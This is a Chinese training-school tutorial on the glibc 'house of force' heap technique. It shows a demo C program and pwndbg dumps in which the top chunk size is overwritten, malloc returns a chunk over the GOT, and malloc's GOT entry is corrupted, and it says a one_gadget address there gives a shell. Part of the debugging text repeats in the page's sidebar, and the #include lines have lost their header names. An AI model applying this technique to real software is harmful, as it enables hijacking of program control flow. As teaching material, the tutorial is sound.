热门课程

免费试听

上课方式

开班时间

当前位置: 首页 -   文章 -   新闻动态 -   正文

二进制安全之堆溢出(系列)——house of force

知了堂姐
2024-07-08 17:22:16
0
摘要
本文为二进制安全之堆溢出(系列)第二期,主要介绍house of force。

原理

·      

源于论文:The malloc maleficarum

·      

·      

利用条件

·      

能够以溢出的方式控制到top chunksize

能够自由地控制堆分配尺寸的大小

可以构造size拿到top chunk本身之外的内存,如libc的内存空间

Demo

#include #include #include #include int main(){     long *p = malloc(0x10);     sleep(0);     *(p+0x3) = -1;     sleep(0);     malloc(-4120);     sleep;     void *q = malloc(0x10);     strcpy(q,"aaaaaaaa");     malloc(0);     sleep(0);     return 0; }

调试

·      

初始堆块

·      

pwndbg> heap 0x602000 FASTBIN { prev_size = 0,  size = 33,  fd = 0x0,                       -->p指针指向fd bk = 0x0,  fd_nextsize = 0x0,  bk_nextsize = 0x20fe1 } 0x602020 PREV_INUSE { prev_size = 0,  size = 135137,  fd = 0x0,  bk = 0x0,  fd_nextsize = 0x0,  bk_nextsize = 0x0 } 
pwndbg> x/20gz 0x602000 0x602000:   0x0000000000000000  0x0000000000000021 0x602010:   0x0000000000000000  0x0000000000000000 0x602020:   0x0000000000000000  0x0000000000020fe1 0x602030:   0x0000000000000000  0x0000000000000000

从内存布局可以看到(p+0x3)指向top chunksize

·      

修改top chunksize位后

·      

pwndbg> x/20gz 0x602000 0x602000:   0x0000000000000000  0x0000000000000021 0x602010:   0x0000000000000000  0x0000000000000000 0x602020:   0x0000000000000000  0xffffffffffffffff

·      

malloc(-4120)之后

·      

0x602000 FASTBIN { prev_size = 0,  size = 33,  fd = 0x0,  bk = 0x0,  fd_nextsize = 0x0,  bk_nextsize = 0xffffffffffffeff1 } 0x602020 PREV_INUSE { prev_size = 0,  size = 18446744073709547505,    -->malloc(-4120) fd = 0x0,  bk = 0x0,  fd_nextsize = 0x0,  bk_nextsize = 0x0 } 0x601010 PREV_INUSE {                                       //可以看到现在的堆块已经到libcgot表了 prev_size = 140737351970320,  size = 4105,  bk = 0x7ffff7ad9230 <__GI___libc_malloc>, //  got_malloc的地址 fd_nextsize = 0x0 <__sleep>,                         //  got_sleep的地址 bk_nextsize = 0x0 }

malloc(-4120)的原因:当堆可分配的内存分配完之后就会到顶层的bss段,这里也不一定是-4120

·      

再次申请内存 q

·      

0x601010 FASTBIN { prev_size = 140737351970320,  size = 33,  fd = 0x7ffff7a91130 <__GI___libc_malloc>,  bk = 0x7ffff7ad9230 <__sleep>,  fd_nextsize = 0x0,  bk_nextsize = 0xfe9 }

相当于把got表所在的内存空间malloc下来了

·      

q 中写入aaaaaaaa

·      

0x601010 FASTBIN { prev_size = 140737351970320,  size = 33,  fd = 0x6161616161616161,    //aaaaaaaa bk = 0x7ffff7ad9200 <alarm>,  fd_nextsize = 0x0,  bk_nextsize = 0xfe9 } 

·      

再次malloc(0)

·      

报错

因为上面写入的aaaaaaaa已经把malloc_got的内容修改为了aaaaaaaa

这里我么可以写入onegadget的地址,就能getshell


大家都在看

疫情防控新常态下知了堂探索校企工程实践新模式

2024-07-08 浏览次数:0

自学前端靠看视频可行吗?自学前端有什么误区?

2024-07-08 浏览次数:0

@程序员,快来Get项目必会技能

2024-07-08 浏览次数:0

ElasticSearch介绍及安装

2024-07-08 浏览次数:0

美公布2020财年预算,国防部96亿美元资助网络...

2024-07-08 浏览次数:0

知了堂&川职院项目实训圆满结束

2024-07-08 浏览次数:0
最新资讯
p指针指向fd bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x20fe1 } 0x602020 PREV_INUSE { prev_size = 0, size = 135137, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 }
pwndbg> x/20gz 0x602000 0x602000:   0x0000000000000000  0x0000000000000021 0x602010:   0x0000000000000000  0x0000000000000000 0x602020:   0x0000000000000000  0x0000000000020fe1 0x602030:   0x0000000000000000  0x0000000000000000

从内存布局可以看到(p+0x3)指向top chunksize

·      

修改top chunksize位后

·      

pwndbg> x/20gz 0x602000 0x602000:   0x0000000000000000  0x0000000000000021 0x602010:   0x0000000000000000  0x0000000000000000 0x602020:   0x0000000000000000  0xffffffffffffffff

·      

malloc(-4120)之后

·      

0x602000 FASTBIN { prev_size = 0,  size = 33,  fd = 0x0,  bk = 0x0,  fd_nextsize = 0x0,  bk_nextsize = 0xffffffffffffeff1 } 0x602020 PREV_INUSE { prev_size = 0,  size = 18446744073709547505,    -->malloc(-4120) fd = 0x0,  bk = 0x0,  fd_nextsize = 0x0,  bk_nextsize = 0x0 } 0x601010 PREV_INUSE {                                       //可以看到现在的堆块已经到libcgot表了 prev_size = 140737351970320,  size = 4105,  bk = 0x7ffff7ad9230 <__GI___libc_malloc>, //  got_malloc的地址 fd_nextsize = 0x0 <__sleep>,                         //  got_sleep的地址 bk_nextsize = 0x0 }

malloc(-4120)的原因:当堆可分配的内存分配完之后就会到顶层的bss段,这里也不一定是-4120

·      

再次申请内存 q

·      

0x601010 FASTBIN { prev_size = 140737351970320,  size = 33,  fd = 0x7ffff7a91130 <__GI___libc_malloc>,  bk = 0x7ffff7ad9230 <__sleep>,  fd_nextsize = 0x0,  bk_nextsize = 0xfe9 }

相当于把got表所在的内存空间malloc下来了

·      

q 中写入aaaaaaaa

·      

0x601010 FASTBIN { prev_size = 140737351970320,  size = 33,  fd = 0x6161616161616161,    //aaaaaaaa bk = 0x7ffff7ad9200 <alarm>,  fd_nextsize = 0x0,  bk_nextsize = 0xfe9 } 

·      

再次malloc(0)

·      

报错

因为上面写入的aaaaaaaa已经把malloc_got的内容修改为了aaaaaaaa

这里我么可以写入onegadget的地址,就能getshell


上一篇:What?2020届首批秋招offer已发?还没准备咋整?

下一篇:程序员金九银十想要跳槽加薪?你首先得做好这些

相关内容

热门资讯

就业课程介绍(Java+前端+... Java+大数据,前端全栈,信息安全
关于我们 请输入文章描述
0基础转行信安,他如何做到月薪... 转行并非简单的换份工作,而是我们在职场进行自我认同、重塑身份的一个过程。今天知了小姐姐为大家介绍一位...
【前端每日一题】什么是BFC?... 秋招马上就要开始了,小伙伴们最近在准备面试的东西没呢,知了姐今天将蛋糕哥整理的前端面试题共享出来,同...
cisp考试费用多少?cisp...   随着网络技术的快速发展,网络安全问题变得越来越重要。那么,CISP考试费用多少?CISP报名条件...
img标签的onerror事件... 1.img 标签除了 onerror 属性外,还有其他获取管理员路径的办法吗? src 指定一个远程...
pythone 文件和数据格式... 关于 Python 对文件的处理,以下选项中描述错误的是
网络安全运维岗面试题及答案详解... 在当今数字化时代,网络安全运维工程师的角色变得愈发重要。为了保障网络安全,各个企业都需要拥有一支经验...
知了堂官网V3第一版内测邀请 经过几个月的加班加点,我们终于迎来了知了堂官网3.1.0版本 现正招募内测中
川农第一次线下拓展精彩瞬间 5月15日,知了堂的哥哥姐姐们携手企业拓展教练浩浩荡荡奔赴川农。
-->